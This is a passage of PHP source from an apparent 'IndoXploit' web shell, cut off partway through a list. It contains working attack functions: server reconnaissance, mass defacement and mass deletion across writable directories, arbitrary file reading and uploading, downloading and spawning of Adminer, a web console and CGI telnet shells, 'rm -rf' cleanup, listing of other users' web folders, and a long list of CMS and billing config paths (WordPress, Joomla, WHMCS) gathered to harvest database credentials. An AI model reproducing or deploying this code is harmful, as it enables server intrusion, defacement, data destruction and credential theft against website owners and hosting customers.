\n ___________________________\n< root@indoxploit:~# w00t??? >\n ---------------------------\n \\ , ,\n \\ /( )`\n \\ \\ \\___ / |\n /- _ `-/ \'\n (/\\/ \\ \\ /\\\n / / | ` \\\n O O ) / |\n `-^--\'`< \'\n (_.) _ ) /\n `.___/` /\n `-----\' /\n<----. __ / __ \\\n<----|====O)))==) \\) /====>\n<----\' `--\' `.__,\' \\\n | |\n \\ /\n ______( (_ / \\______\n ,\' ,-----\' | \\\n `--{__________) \\/\n\t\n";\n\tprint (OS() === "Windows") ? windisk() : "";\n}\n\nfunction windisk() {\n\t$letters = "";\n\t$v = explode("\\\\", path());\n\t$v = $v[0];\n\t foreach(range("A", "Z") as $letter) {\n\t \t$bool = $isdiskette = in_array($letter, array("A"));\n\t \tif(!$bool) $bool = is_dir("$letter:\\\\");\n\t \tif($bool) {\n\t \t\t$letters .= "[ ";\n\t \t\tif($letter.":" != $v) {\n\t \t\t\t$letters .= $letter;\n\t \t\t}\n\t \t\telse {\n\t \t\t\t$letters .= color(1, 2, $letter);\n\t \t\t}\n\t \t\t$letters .= " ]";\n\t \t}\n\t}\n\tif(!empty($letters)) {\n\t\tprint "Detected Drives $letters
";\n\t}\n\tif(count($quicklaunch) > 0) {\n\t\tforeach($quicklaunch as $item) {\n\t \t\t$v = realpath(path(). "..");\n\t \t\tif(empty($v)) {\n\t \t\t\t$a = explode(DIRECTORY_SEPARATOR,path());\n\t \t\t\tunset($a[count($a)-2]);\n\t \t\t\t$v = join(DIRECTORY_SEPARATOR, $a);\n\t \t\t}\n\t \t\tprint "".$item[0]."";\n\t\t}\n\t}\n}\n\nfunction serverinfo() {\n\t$disable_functions = @ini_get(\'disable_functions\');\n\t$disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE");\n\n\t$output[] = "SERVER IP ".color(1, 2, $GLOBALS[\'SERVERIP\'])." / YOUR IP ".color(1, 2, $_SERVER[\'REMOTE_ADDR\']);\n\t$output[] = "WEB SERVER : ".color(1, 2, $_SERVER[\'SERVER_SOFTWARE\']);\n\t$output[] = "SYSTEM : ".color(1, 2, php_uname());\n\t$output[] = "USER / GROUP: ".color(1, 2, usergroup()->name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")";\n\t$output[] = "HDD : ".color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")";\n\t$output[] = "PHP VERSION : ".color(1, 2, @phpversion());\n\t$output[] = "SAFE MODE : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF"));\n\t$output[] = "DISABLE FUNC: $disable_functions";\n\t$output[] = lib_installed();\n\t$output[] = "Current Dir (".writeable(path(), perms(path())).") ";\n\n\tprint "
";\n\tprint implode("
", $output);\n\tpwd();\n\tprint "";\n\n}\n\nfunction curl($url, $post = false, $data = null) {\n $ch = curl_init($url);\n \t curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n \t curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\n \t curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n \t curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n \t curl_setopt($ch, CURLOPT_TIMEOUT, 10);\n \t curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);\n if($post) {\n \t curl_setopt($ch, CURLOPT_POST, true);\n \t curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\n }\n return curl_exec($ch);\n\t\t curl_close($ch);\n}\n\nfunction reverse() {\n\t$response = curl("http://domains.yougetsignal.com/domains.php", TRUE, "remoteAddress=".$GLOBALS[\'SERVERIP\']."&ket=");\n\t$response = str_replace("[","", str_replace("]","", str_replace("\\"\\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("\'","", str_replace("\'","", str_replace(":",",", str_replace(\'"\',\'\', $response)))))))))))));\n\t$explode = explode(",,", $response);\n\tunset($explode[0]);\n\n\tforeach($explode as $domain) {\n\t\t$domain = "http://$domain";\n\t\t$domain = str_replace(",", "", $domain);\n\t\t$url[] \t= $domain;\n\t\tob_flush();\n\t\tflush();\n\t}\n\n\treturn $url;\n}\n\nfunction getValue($param, $kata1, $kata2){\n if(strpos($param, $kata1) === FALSE) return FALSE;\n if(strpos($param, $kata2) === FALSE) return FALSE;\n $start \t= strpos($param, $kata1) + strlen($kata1);\n $end \t= strpos($param, $kata2, $start);\n $return = substr($param, $start, $end - $start);\n return $return;\n}\n\nfunction massdeface($dir, $file, $filename, $type = null) {\n\t$scandir = scandir($dir);\n\tforeach($scandir as $dir_) {\n\t\t$path = "$dir/$dir_";\n\t\t$location = "$path/$filename";\n\t\tif($dir_ === "." || $dir_ === "..") {\n\t\t\tfile_put_contents($location, $file);\n\t\t}\n\t\telse {\n\t\t\tif(is_dir($path) AND is_writable($path)) {\n\t\t\t\tprint "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."";\n\t\t\t\tfile_put_contents($location, $file);\n\t\t\t\tif($type === "-alldir") {\n\t\t\t\t\tmassdeface($path, $file, $filename, "-alldir");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunction massdelete($dir, $filename) {\n\t$scandir = scandir($dir);\n\tforeach($scandir as $dir_) {\n\t\t$path = "$dir/$dir_";\n\t\t$location = "$path/$filename";\n\t\tif($dir_ === \'.\') {\n\t\t\tif(file_exists("$dir/$filename")) {\n\t\t\t\tunlink("$dir/$filename");\n\t\t\t}\n\t\t} \n\t\telseif($dir_ === \'..\') {\n\t\t\tif(file_exists(dirname($dir)."/$filename")) {\n\t\t\t\tunlink(dirname($dir)."/$filename");\n\t\t\t}\n\t\t} \n\t\telse {\n\t\t\tif(is_dir($path) AND is_writable($path)) {\n\t\t\t\tif(file_exists($location)) {\n\t\t\t\t\tprint "[".color(1, 2, "DELETED")."] ".color(1, 4, $location)."
";\n\t\t\t\t\tunlink($location);\n\t\t\t\t\tmassdelete($path, $filename);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunction tools($toolsname, $args = null) {\n\tif($toolsname === "cmd") {\n\t\tprint "";\n\t}\n\telseif($toolsname === "readfile") {\n\t\tif(empty($args)) die(color(1, 1, $msg));\n\t\tif(!is_file($args)) die(color(1, 1, "File \'$args\' is not exists."));\n\n\t\tprint "
";\n\t\tprint htmlspecialchars(file_get_contents($args));\n\t\tprint "";\n\t}\n\telseif($toolsname === "spawn") {\n\t\tif($args === "adminer") {\n\t\t\tif(file_exists("adminer.php")) {\n\t\t\t\tprint "Login Adminer: http://".$_SERVER[\'HTTP_HOST\']."/".$GLOBALS[\'FILEPATH\']."/adminer.php";\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif(!is_writable(path())) die(color(1, 1, "Directory \'".path()."\' is not writeable. Can\'t create file \'Adminer\'."));\n\t\t\t\tif(getfile("adminer")) {\n\t\t\t\t\tprint "Login Adminer: http://".$_SERVER[\'HTTP_HOST\']."/".$GLOBALS[\'FILEPATH\']."/adminer.php";\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tprint color(1, 1, "Error while downloading file Adminer.");\n\t\t\t\t\t@unlink("adminer.php");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telseif($args === "webconsole") {\n\t\t\tif(file_exists("webconsole.php")) {\n\t\t\t\tprint "";\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif(!is_writable(path())) die(color(1, 1, "Directory \'".path()."\' is not writeable. Can\'t create file \'WebConsole\'."));\n\t\t\t\tif(getfile("webconsole")) {\n\t\t\t\t\tprint "";\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tprint color(1, 1, "Error while downloading file WebConsole.");\n\t\t\t\t\t@unlink("webconsole.php");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telseif($args === "cgitelnet1") {\n\t\t\tif(file_exists("idx_cgi/cgitelnet1.idx")) {\n\t\t\t\tprint "";\n\t\t\t}\n\t\t\telseif(file_exists(\'cgitelnet1.idx\')) {\n\t\t\t\tprint "";\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif(!is_writable(path())) die(color(1, 1, "Directory \'".path()."\' is not writeable. Can\'t create directory \'idx_cgi\'."));\n\t\t\t\tif(!is_dir(path()."/idx_cgi/")) {\n\t\t\t\t\t@mkdir(\'idx_cgi\', 0755);\n\t\t\t\t\tsave("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");\n\t\t\t\t}\n\t\t\t\tif(getfile("cgitelnet1")) {\n\t\t\t\t\tchmod(\'idx_cgi/cgitelnet1.idx\', 0755);\n\t\t\t\t\tprint "";\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tprint color(1, 1, "Error while downloading file CGI Telnet.");\n\t\t\t\t\t@rmdir(path()."/idx_cgi/");\n\t\t\t\t\tif(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/");\n\t\t\t\t\tif(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/");\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t}\n\t\telseif($args === "cgitelnet2") {\n\t\t\tif(file_exists("idx_cgi/cgitelnet2.idx")) {\n\t\t\t\tprint "";\n\t\t\t}\n\t\t\telseif(file_exists(\'cgitelnet2.idx\')) {\n\t\t\t\tprint "";\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif(!is_writable(path())) die(color(1, 1, "Directory \'".path()."\' is not writeable. Can\'t create directory \'idx_cgi\'."));\n\t\t\t\tif(!is_dir(path()."/idx_cgi/")) {\n\t\t\t\t\t@mkdir(\'idx_cgi\', 0755);\n\t\t\t\t\tsave("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");\n\t\t\t\t}\n\t\t\t\tif(getfile("cgitelnet2")) {\n\t\t\t\t\tchmod(\'idx_cgi/cgitelnet2.idx\', 0755);\n\t\t\t\t\tprint "";\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tprint color(1, 1, "Error while downloading file CGI Telnet.");\n\t\t\t\t\t@rmdir(path()."/idx_cgi/");\n\t\t\t\t\tif(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/");\n\t\t\t\t\tif(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/");\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t}\n\t\telseif($args === "phpinfo") {\n\t\t\tif(file_exists(\'phpinfo.php\') AND preg_match("/phpinfo()/", file_get_contents(\'phpinfo.php\'))) {\n\t\t\t\tprint "";\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif(!is_writable(path())) die(color(1, 1, "Directory \'".path()."\' is not writeable. Can\'t create file \'phpinfo\'."));\n\t\t\t\tsave("phpinfo.php", "w", "
\'; phpinfo(); print \'
\'; ?>");\n\t\t\t\tprint "";\n\t\t\t}\n\t\t}\n\t}\n\telseif($toolsname === "upload") {\n\t\tif($_POST[\'upload\']) {\n\t\t\tif($_POST[\'uploadtype\'] === \'1\') {\n\t\t\t\tif(@copy($_FILES[\'file\'][\'tmp_name\'], path().DIRECTORY_SEPARATOR.$_FILES[\'file\'][\'name\']."")) {\n\t\t\t\t\t$act = color(1, 2, "Uploaded!")." at ".path().DIRECTORY_SEPARATOR.$_FILES[\'file\'][\'name\']."";\n\t\t\t\t} \n\t\t\t\telse {\n\t\t\t\t\t$act = color(1, 1, "Failed to upload file!");\n\t\t\t\t}\n\t\t\t} \n\t\t\telseif($_POST[\'uploadtype\'] === \'2\') {\n\t\t\t\t$root = $_SERVER[\'DOCUMENT_ROOT\'].DIRECTORY_SEPARATOR.$_FILES[\'file\'][\'name\'];\n\t\t\t\t$web = $_SERVER[\'HTTP_HOST\'].DIRECTORY_SEPARATOR.$_FILES[\'file\'][\'name\'];\n\t\t\t\tif(is_writable($_SERVER[\'DOCUMENT_ROOT\'])) {\n\t\t\t\t\tif(@copy($_FILES[\'file\'][\'tmp_name\'], $root)) {\n\t\t\t\t\t\t$act = color(1, 2, "Uploaded!")." at $root -> $web";\n\t\t\t\t\t} \n\t\t\t\t\telse {\n\t\t\t\t\t\t$act = color(1, 1, "Failed to upload file!");\n\t\t\t\t\t}\n\t\t\t\t} \n\t\t\t\telse {\n\t\t\t\t\t$act = color(1, 1, "Failed to upload file!");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprint "Upload File: $act\n\t\t\t ";\n\t}\n\telseif($toolsname === "jumping") {\n\t\t$i = 0;\n\t\tforeach(getuser() as $user) {\n\t\t\t$path = "/home/$user/public_html";\n\t\t\tif(is_readable($path)) {\n\t\t\t\t$status = color(1, 2, "[R]");\n\t\t\t\tif(is_writable($path)) {\n\t\t\t\t\t$status = color(1, 2, "[RW]");\n\t\t\t\t}\n\t\t\t\t$i++;\n\t\t\t\tprint "$status ".color(1, 4, $path)."";\n\t\t\t\tif(!function_exists(\'posix_getpwuid\')) print "";\n\t\t\t\tif(!getdomainname()) print " => ".color(1, 1, "Can\'t get domain name")."
";\n\t\t\t\tforeach(getdomainname() as $domain) {\n\t\t\t\t\t$userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain"));\n\t\t\t\t\t$userdomain = $userdomain->name;\n\t\t\t\t\tif($userdomain === $user) {\n\t\t\t\t\t\tprint " => ".color(1, 2, $domain)."
";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprint ($i === 0) ? "" : "
".color(1, 3, "Total ada $i kamar di ".$GLOBALS[\'SERVERIP\'])."
";\n\t}\n\telseif($toolsname === "idxconfig") {\n\t\tif(!is_writable(path())) die(color(1, 1, "Directory \'".path()."\' is not writeable. Can\'t create directory \'idx_config\'."));\n\t\tif(!is_dir(path()."/idx_config/")) {\n\t\t\t@mkdir(\'idx_config\', 0755);\n\t\t\t$htaccess = "Options all\\nDirectoryIndex indoxploit.htm\\nSatisfy Any";\n\t\t\tsave("idx_config/.htaccess","w", $htaccess);\n\n\t\t\tforeach(getuser() as $user) {\n\t\t\t\t$user_docroot = "/home/$user/public_html/";\n\t\t\t\tif(is_readable($user_docroot)) {\n\t\t\t\t\t$getconfig = array(\n\t\t\t\t\t\t"/home/$user/.accesshash" => "WHM-accesshash",\n\t\t\t\t\t\t"$user_docroot/config/koneksi.php" => "Lokomedia",\n\t\t\t\t\t\t"$user_docroot/forum/config.php" => "phpBB",\n\t\t\t\t\t\t"$user_docroot/sites/default/settings.php" => "Drupal",\n\t\t\t\t\t\t"$user_docroot/config/settings.inc.php" => "PrestaShop",\n\t\t\t\t\t\t"$user_docroot/app/etc/local.xml" => "Magento",\n\t\t\t\t\t\t"$user_docroot/admin/config.php" => "OpenCart",\n\t\t\t\t\t\t"$user_docroot/application/config/database.php" => "Ellislab",\n\t\t\t\t\t\t"$user_docroot/vb/includes/config.php" => "Vbulletin",\n\t\t\t\t\t\t"$user_docroot/includes/config.php" => "Vbulletin",\n\t\t\t\t\t\t"$user_docroot/forum/includes/config.php" => "Vbulletin",\n\t\t\t\t\t\t"$user_docroot/forums/includes/config.php" => "Vbulletin",\n\t\t\t\t\t\t"$user_docroot/cc/includes/config.php" => "Vbulletin",\n\t\t\t\t\t\t"$user_docroot/inc/config.php" => "MyBB",\n\t\t\t\t\t\t"$user_docroot/includes/configure.php" => "OsCommerce",\n\t\t\t\t\t\t"$user_docroot/shop/includes/configure.php" => "OsCommerce",\n\t\t\t\t\t\t"$user_docroot/os/includes/configure.php" => "OsCommerce",\n\t\t\t\t\t\t"$user_docroot/oscom/includes/configure.php" => "OsCommerce",\n\t\t\t\t\t\t"$user_docroot/products/includes/configure.php" => "OsCommerce",\n\t\t\t\t\t\t"$user_docroot/cart/includes/configure.php" => "OsCommerce",\n\t\t\t\t\t\t"$user_docroot/inc/conf_global.php" => "IPB",\n\t\t\t\t\t\t"$user_docroot/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/wp/test/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/blog/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/beta/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/portal/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/site/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/wp/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/WP/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/news/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/wordpress/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/test/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/demo/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/home/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/v1/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/v2/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/press/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/new/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/blogs/wp-config.php" => "Wordpress",\n\t\t\t\t\t\t"$user_docroot/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/blog/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/submitticket.php" => "^WHMCS",\n\t\t\t\t\t\t"$user_docroot/cms/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/beta/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/portal/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/site/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/main/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/home/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/demo/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/test/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/v1/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/v2/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/joomla/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/new/configuration.php" => "Joomla",\n\t\t\t\t\t\t"$user_docroot/WHMCS/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/whmcs1/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Whmcs/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/whmcs/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/whmcs/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/WHMC/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Whmc/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/whmc/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/WHM/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Whm/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/whm/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/HOST/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Host/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/host/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/SUPPORTES/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Supportes/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/supportes/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/domains/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/domain/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Hosting/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/HOSTING/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/hosting/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/CART/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Cart/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/cart/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/ORDER/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Order/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/order/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/CLIENT/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Client/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/client/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/CLIENTAREA/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Clientarea/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/clientarea/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/SUPPORT/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Support/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/support/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/BILLING/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Billing/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/billing/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/BUY/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Buy/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/buy/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/MANAGE/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Manage/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/manage/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/CLIENTSUPPORT/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/ClientSupport/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Clientsupport/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/clientsupport/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/CHECKOUT/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Checkout/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/checkout/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/BILLINGS/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Billings/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/billings/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/BASKET/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Basket/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/basket/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/SECURE/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Secure/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/secure/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/SALES/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Sales/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/sales/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/BILL/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Bill/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/bill/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/PURCHASE/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Purchase/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/purchase/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/ACCOUNT/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Account/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/account/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/USER/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/User/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/user/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/CLIENTS/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Clients/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/clients/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/BILLINGS/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/Billings/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/billings/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/MY/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/My/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/my/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/secure/whm/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/secure/whmcs/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/panel/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/clientes/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/cliente/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/support/order/submitticket.php" => "WHMCS",\n\t\t\t\t\t\t"$user_docroot/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/boxbilling/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/box/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/host/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/Host/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/supportes/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/support/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/hosting/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/cart/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/order/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/client/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/clients/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/cliente/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/clientes/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/billing/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/billings/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/my/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/secure/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/support/order/bb-config.php" => "BoxBilling",\n\t\t\t\t\t\t"$user_docroot/includes/dist-configure.php" => "Zencart",\n\t\t\t\t\t\t"$user_docroot/zencart/includes/dist-configure.php" => "Zencart",\n\t\t\t\t\t\t"$user_docroot/products/includes/dist-configure.php" => "Zencart",\n\t\t\t\t\t\t"$user_docroot/cart/includes/dist-configure.php" => "Zencart",\n\t\t\t\t\t\t"$user_docroot/shop/includes/dist-configure.php" => "Zencart",\n\t\t\t\t\t\t"$user_docroot/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/hostbills/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/host/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/Host/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/supportes/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/support/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/hosting/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/cart/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/order/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/client/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/clients/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/cliente/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/clientes/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/billing/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/billings/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/my/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/secure/includes/iso4217.php" => "Hostbills",\n\t\t\t\t\t\t"$user_docroot/support/order/includes/iso4217.php" => 